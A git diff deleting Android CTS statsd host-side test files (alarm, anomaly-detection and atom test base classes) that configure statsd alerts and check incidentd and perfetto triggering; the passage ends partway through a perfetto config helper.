-public class AlarmTests extends AtomTestCase {
-
- private static final String TAG = "Statsd.AnomalyDetectionTests";
-
- private static final boolean INCIDENTD_TESTS_ENABLED = false;
-
- // Config constants
- private static final int ALARM_ID = 11;
- private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
- private static final int INCIDENTD_SECTION = -1;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- if (!INCIDENTD_TESTS_ENABLED) {
- CLog.w(TAG, TAG + " alarm tests are disabled by a flag. Change flag to true to run");
- }
- }
-
- public void testAlarm() throws Exception {
- StatsdConfig.Builder config = getBaseConfig();
- turnScreenOn();
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- Thread.sleep(9_000);
-
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
- }
-
-
- private final StatsdConfig.Builder getBaseConfig() throws Exception {
- return createConfigBuilder()
- .addAlarm(Alarm.newBuilder().setId(ALARM_ID).setOffsetMillis(2).setPeriodMillis(
- 5_000) // every 5 seconds.
- )
- .addSubscription(Subscription.newBuilder()
- .setId(SUBSCRIPTION_ID_INCIDENTD)
- .setRuleType(Subscription.RuleType.ALARM)
- .setRuleId(ALARM_ID)
- .setIncidentdDetails(
- IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
deleted file mode 100644
index d6c1107..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ /dev/null
@@ -1,471 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alert;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alert;
-import com.android.internal.os.StatsdConfigProto.CountMetric;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.PerfettoDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.KernelWakelock;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil.CLog;
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AnomalyDetectionTests extends AtomTestCase {
-
- private static final String TAG = "Statsd.AnomalyDetectionTests";
-
- private static final boolean INCIDENTD_TESTS_ENABLED = false;
- private static final boolean PERFETTO_TESTS_ENABLED = true;
-
- private static final int WAIT_AFTER_BREADCRUMB_MS = 2000;
-
- // Config constants
- private static final int APP_BREADCRUMB_REPORTED_MATCH_START_ID = 1;
- private static final int APP_BREADCRUMB_REPORTED_MATCH_STOP_ID = 2;
- private static final int METRIC_ID = 8;
- private static final int ALERT_ID = 11;
- private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
- private static final int SUBSCRIPTION_ID_PERFETTO = 42;
- private static final int ANOMALY_DETECT_MATCH_ID = 10;
- private static final int ANOMALY_EVENT_ID = 101;
- private static final int INCIDENTD_SECTION = -1;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- if (!INCIDENTD_TESTS_ENABLED) {
- CLog.w(TAG, TAG + " anomaly tests are disabled by a flag. Change flag to true to run");
- }
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- if (PERFETTO_TESTS_ENABLED) {
- //Deadline to finish trace collection
- final long deadLine = System.currentTimeMillis() + 10000;
- while (isSystemTracingEnabled()) {
- if (System.currentTimeMillis() > deadLine) {
- CLog.w("/sys/kernel/debug/tracing/tracing_on is still 1 after 10 secs : " + isSystemTracingEnabled());
- break;
- }
- CLog.d("Waiting to finish collecting traces. ");
- Thread.sleep(WAIT_TIME_SHORT);
- }
- }
- }
-
- // Tests that anomaly detection for count works.
- // Also tests that anomaly detection works when spanning multiple buckets.
- public void testCountAnomalyDetection() throws Exception {
- StatsdConfig.Builder config = getBaseConfig(10, 20, 2 /* threshold: > 2 counts */)
- .addCountMetric(CountMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setBucket(TimeUnit.CTS) // 1 second
- // Slice by label
- .setDimensionsInWhat(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- )
- )
- );
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- // count(label=6) -> 1 (not an anomaly, since not "greater than 2")
- doAppBreadcrumbReportedStart(6);
- Thread.sleep(500);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- // count(label=6) -> 2 (not an anomaly, since not "greater than 2")
- doAppBreadcrumbReportedStart(6);
- Thread.sleep(500);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- // count(label=12) -> 1 (not an anomaly, since not "greater than 2")
- doAppBreadcrumbReportedStart(12);
- Thread.sleep(1000);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- doAppBreadcrumbReportedStart(6); // count(label=6) -> 3 (anomaly, since "greater than 2"!)
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
- }
-
- // Tests that anomaly detection for duration works.
- // Also tests that refractory periods in anomaly detection work.
- public void testDurationAnomalyDetection() throws Exception {
- final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
- StatsdConfig.Builder config =
- getBaseConfig(17, 17, 10_000_000_000L /*threshold: > 10 seconds in nanoseconds*/)
- .addDurationMetric(DurationMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // predicate below
- .setAggregationType(DurationMetric.AggregationType.SUM)
- .setBucket(TimeUnit.CTS) // 1 second
- )
- .addPredicate(StatsdConfigProto.Predicate.newBuilder()
- .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
- .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
- )
- );
- uploadConfig(config);
-
- // Since timing is crucial and checking logcat for incidentd is slow, we don't test for it.
-
- // Test that alarm doesn't fire early.
- String markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(6_000); // Recorded duration at end: 6s
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(4_000); // Recorded duration at end: 6s
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
- // Test that alarm does fire when it is supposed to (after 4s, plus up to 5s alarm delay).
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(9_000); // Recorded duration at end: 13s
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
- // Now test that the refractory period is obeyed.
- markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStop(1);
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(3_000); // Recorded duration at end: 13s
- // NB: the previous getEventMetricDataList also removes the report, so size is back to 0.
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
- // Test that detection works again after refractory period finishes.
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(8_000); // Recorded duration at end: 9s
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(15_000); // Recorded duration at end: 15s
- // We can do an incidentd test now that all the timing issues are done.
- data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-
- doAppBreadcrumbReportedStop(1);
- }
-
- // Tests that anomaly detection for duration works even when the alarm fires too late.
- public void testDurationAnomalyDetectionForLateAlarms() throws Exception {
- final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
- StatsdConfig.Builder config =
- getBaseConfig(50, 0, 6_000_000_000L /* threshold: > 6 seconds in nanoseconds */)
- .addDurationMetric(DurationMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(
- APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // Predicate below.
- .setAggregationType(DurationMetric.AggregationType.SUM)
- .setBucket(TimeUnit.CTS) // 1 second
- )
- .addPredicate(StatsdConfigProto.Predicate.newBuilder()
- .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
- .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
- )
- );
- uploadConfig(config);
-
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(5_000);
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(2_000);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
- // Test that alarm does fire when it is supposed to.
- // The anomaly occurs in 1s, but alarms won't fire that quickly.
- // It is likely that the alarm will only fire after this period is already over, but the
- // anomaly should nonetheless be detected when the event stops.
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(1_200);
- // Anomaly should be detected here if the alarm didn't fire yet.
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(200);
- List<EventMetricData> data = getEventMetricDataList();
- if (data.size() == 2) {
- // Although we expect that the alarm won't fire, we certainly cannot demand that.
- CLog.w(TAG, "The anomaly was detected twice. Presumably the alarm did manage to fire.");
- }
- assertThat(data.size()).isAnyOf(1, 2);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- }
-
- // Tests that anomaly detection for value works.
- public void testValueAnomalyDetection() throws Exception {
- StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
- .addValueMetric(ValueMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setBucket(TimeUnit.ONE_MINUTE)
- // Get the label field's value:
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
- )
-
- );
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- doAppBreadcrumbReportedStart(14); // value = 14 > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
- }
-
- // Test that anomaly detection integrates with perfetto properly.
- public void testPerfetto() throws Exception {
- String chars = getDevice().getProperty("ro.build.characteristics");
- if (chars.contains("watch")) {
- return;
- }
-
- if (PERFETTO_TESTS_ENABLED) resetPerfettoGuardrails();
-
- StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
- .addSubscription(Subscription.newBuilder()
- .setId(SUBSCRIPTION_ID_PERFETTO)
- .setRuleType(Subscription.RuleType.ALERT)
- .setRuleId(ALERT_ID)
- .setPerfettoDetails(PerfettoDetails.newBuilder()
- .setTraceConfig(getPerfettoConfig()))
- )
- .addValueMetric(ValueMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setBucket(TimeUnit.ONE_MINUTE)
- // Get the label field's value:
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
- )
-
- );
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (PERFETTO_TESTS_ENABLED) assertThat(isSystemTracingEnabled()).isFalse();
-
- doAppBreadcrumbReportedStart(14); // value = 14 > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
- // Pool a few times to allow for statsd <-> traced <-> traced_probes communication to happen.
- if (PERFETTO_TESTS_ENABLED) {
- boolean tracingEnabled = false;
- for (int i = 0; i < 5; i++) {
- if (isSystemTracingEnabled()) {
- tracingEnabled = true;
- break;
- }
- Thread.sleep(1000);
- }
- assertThat(tracingEnabled).isTrue();
- }
- }
-
- // Tests that anomaly detection for gauge works.
- public void testGaugeAnomalyDetection() throws Exception {
- StatsdConfig.Builder config = getBaseConfig(1, 20, 6 /* threshold: value > 6 */)
- .addGaugeMetric(GaugeMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setBucket(TimeUnit.CTS)
- // Get the label field's value into the gauge:
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
- )
- )
- );
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStart(6); // gauge = 6, which is NOT > trigger
- Thread.sleep(Math.max(WAIT_AFTER_BREADCRUMB_MS, 1_100)); // Must be >1s to push next bucket.
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- // We waited for >1s above, so we are now in the next bucket (which is essential).
- doAppBreadcrumbReportedStart(14); // gauge = 14 > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
- }
-
- // Test that anomaly detection for pulled metrics work.
- public void testPulledAnomalyDetection() throws Exception {
- final int ATOM_ID = Atom.KERNEL_WAKELOCK_FIELD_NUMBER; // A pulled atom
- final int SLICE_BY_FIELD = KernelWakelock.NAME_FIELD_NUMBER;
- final int VALUE_FIELD = KernelWakelock.VERSION_FIELD_NUMBER; // Something that will be > 0.
- final int ATOM_MATCHER_ID = 300;
-
- StatsdConfig.Builder config = getBaseConfig(10, 20, 0 /* threshold: value > 0 */)
- .addAllowedLogSource("AID_SYSTEM")
- // Track the ATOM_ID pulled atom
- .addAtomMatcher(StatsdConfigProto.AtomMatcher.newBuilder()
- .setId(ATOM_MATCHER_ID)
- .setSimpleAtomMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(ATOM_ID)))
- .addGaugeMetric(GaugeMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(ATOM_MATCHER_ID)
- .setBucket(TimeUnit.CTS)
- .setSamplingType(GaugeMetric.SamplingType.RANDOM_ONE_SAMPLE)
- // Slice by SLICE_BY_FIELD (typical usecase)
- .setDimensionsInWhat(FieldMatcher.newBuilder()
- .setField(ATOM_ID)
- .addChild(FieldMatcher.newBuilder().setField(SLICE_BY_FIELD))
- )
- // Track the VALUE_FIELD (anomaly detection requires exactly one field here)
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
- .setField(ATOM_ID)
- .addChild(FieldMatcher.newBuilder().setField(VALUE_FIELD))
- )
- )
- );
- uploadConfig(config);
-
- Thread.sleep(6_000); // Wait long enough to ensure AlarmManager signals >= 1 pull
-
- List<EventMetricData> data = getEventMetricDataList();
- // There will likely be many anomalies (one for each dimension). There must be at least one.
- assertThat(data.size()).isAtLeast(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- }
-
-
- private final StatsdConfig.Builder getBaseConfig(int numBuckets,
- int refractorySecs,
- long triggerIfSumGt) throws Exception {
- return createConfigBuilder()
- // Items of relevance for detecting the anomaly:
- .addAtomMatcher(
- StatsdConfigProto.AtomMatcher.newBuilder()
- .setId(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setSimpleAtomMatcher(
- StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- // Event only when the uid is this app's uid.
- .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
- .setEqInt(getHostUid()))
- .addFieldValueMatcher(
- createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.START.ordinal()))))
- .addAtomMatcher(
- StatsdConfigProto.AtomMatcher.newBuilder()
- .setId(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
- .setSimpleAtomMatcher(
- StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- // Event only when the uid is this app's uid.
- .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
- .setEqInt(getHostUid()))
- .addFieldValueMatcher(
- createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.STOP.ordinal()))))
- .addAlert(Alert.newBuilder()
- .setId(ALERT_ID)
- .setMetricId(METRIC_ID) // The metric itself must yet be added by the test.
- .setNumBuckets(numBuckets)
- .setRefractoryPeriodSecs(refractorySecs)
- .setTriggerIfSumGt(triggerIfSumGt))
- .addSubscription(
- Subscription.newBuilder()
- .setId(SUBSCRIPTION_ID_INCIDENTD)
- .setRuleType(Subscription.RuleType.ALERT)
- .setRuleId(ALERT_ID)
- .setIncidentdDetails(IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)))
- // We want to trigger anomalies on METRIC_ID, but don't want the actual data.
- .addNoReportMetric(METRIC_ID)
-
- // Items of relevance to reporting the anomaly (we do want this data):
- .addAtomMatcher(
- StatsdConfigProto.AtomMatcher.newBuilder()
- .setId(ANOMALY_DETECT_MATCH_ID)
- .setSimpleAtomMatcher(
- StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.ANOMALY_DETECTED_FIELD_NUMBER)
- .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_UID_FIELD_NUMBER)
- .setEqInt(getHostUid()))
- .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_ID_FIELD_NUMBER)
- .setEqInt(CONFIG_ID))))
- .addEventMetric(StatsdConfigProto.EventMetric.newBuilder()
- .setId(ANOMALY_EVENT_ID)
- .setWhat(ANOMALY_DETECT_MATCH_ID));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
deleted file mode 100644
index 8ce54f3..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ /dev/null
@@ -1,1164 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.BatteryStatsProto;
-import android.os.StatsDataDumpProto;
-import android.service.battery.BatteryServiceDumpProto;
-import android.service.batterystats.BatteryStatsServiceDumpProto;
-import android.service.procstats.ProcessStatsServiceDumpProto;
-
-import com.android.annotations.Nullable;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-
-import com.google.common.collect.Range;
-import com.google.common.io.Files;
-import com.google.protobuf.ByteString;
-
-import perfetto.protos.PerfettoConfig.DataSourceConfig;
-import perfetto.protos.PerfettoConfig.FtraceConfig;
-import perfetto.protos.PerfettoConfig.TraceConfig;
-
-import java.io.File;
-import java.text.SimpleDateFormat;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Comparator;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Queue;
-import java.util.Random;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-
-/**
- * Base class for testing Statsd atoms.
- * Validates reporting of statsd logging based on different events
- */
-public class AtomTestCase extends BaseTestCase {
-
- /**
- * Run tests that are optional; they are not valid CTS tests per se, since not all devices can
- * be expected to pass them, but can be run, if desired, to ensure they work when appropriate.
- */
- public static final boolean OPTIONAL_TESTS_ENABLED = false;
-
- public static final String UPDATE_CONFIG_CMD = "cmd stats config update";
- public static final String DUMP_REPORT_CMD = "cmd stats dump-report";
- public static final String DUMP_BATTERY_CMD = "dumpsys battery";
- public static final String DUMP_BATTERYSTATS_CMD = "dumpsys batterystats";
- public static final String DUMPSYS_STATS_CMD = "dumpsys stats";
- public static final String DUMP_PROCSTATS_CMD = "dumpsys procstats";
- public static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
- /** ID of the config, which evaluates to -1572883457. */
- public static final long CONFIG_ID = "cts_config".hashCode();
-
- public static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
- public static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
- public static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
- public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
- public static final String FEATURE_CAMERA = "android.hardware.camera";
- public static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
- public static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
- public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
- public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
- public static final String FEATURE_PC = "android.hardware.type.pc";
- public static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
- public static final String FEATURE_TELEPHONY = "android.hardware.telephony";
- public static final String FEATURE_WATCH = "android.hardware.type.watch";
- public static final String FEATURE_WIFI = "android.hardware.wifi";
- public static final String FEATURE_INCREMENTAL_DELIVERY =
- "android.software.incremental_delivery";
-
- // Telephony phone types
- public static final int PHONE_TYPE_GSM = 1;
- public static final int PHONE_TYPE_CDMA = 2;
- public static final int PHONE_TYPE_CDMA_LTE = 6;
-
- protected static final int WAIT_TIME_SHORT = 1000;
- protected static final int WAIT_TIME_LONG = 2_000;
-
- protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
- protected static final long SCREEN_STATE_POLLING_INTERVAL = 500;
-
- protected static final long NS_PER_SEC = (long) 1E+9;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- // Uninstall to clear the history in case it's still on the device.
- removeConfig(CONFIG_ID);
- getReportList(); // Clears data.
- }
-
- @Override
- protected void tearDown() throws Exception {
- removeConfig(CONFIG_ID);
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- super.tearDown();
- }
-
- /**
- * Determines whether logcat indicates that incidentd fired since the given device date.
- */
- protected boolean didIncidentdFireSince(String date) throws Exception {
- final String INCIDENTD_TAG = "incidentd";
- final String INCIDENTD_STARTED_STRING = "reportIncident";
- // TODO: Do something more robust than this in case of delayed logging.
- Thread.sleep(1000);
- String log = getLogcatSince(date, String.format(
- "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
- return log.contains(INCIDENTD_STARTED_STRING);
- }
-
- protected boolean checkDeviceFor(String methodName) throws Exception {
- try {
- installPackage(DEVICE_SIDE_TEST_APK, true);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".Checkers", methodName);
- // Test passes, meaning that the answer is true.
- LogUtil.CLog.d(methodName + "() indicates true.");
- return true;
- } catch (AssertionError e) {
- // Method is designed to fail if the answer is false.
- LogUtil.CLog.d(methodName + "() indicates false.");
- return false;
- }
- }
-
- /**
- * Returns a protobuf-encoded perfetto config that enables the kernel
- * ftrace tracer with sched_switch for 10 seconds.
- */
- protected ByteString getPerfettoConfig() {
- TraceConfig.Builder builder = TraceConfig.newBuilder();
-
- TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
- .newBuilder()
- .setSizeKb(128)
- .build();
- builder.addBuffers(buffer);
-
- FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
- .addFtraceEvents("sched/sched_switch")
- .build();
- DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
- .setName("linux.ftrace")
- .setTargetBuffer(0)
- .setFtraceConfig(ftraceConfig)
- .build();
- TraceConfig.DataSource dataSource = TraceConfig.DataSource
- .newBuilder()
- .setConfig(dataSourceConfig)
- .build();
- builder.addDataSources(dataSource);
-
- builder.setDurationMs(10000);
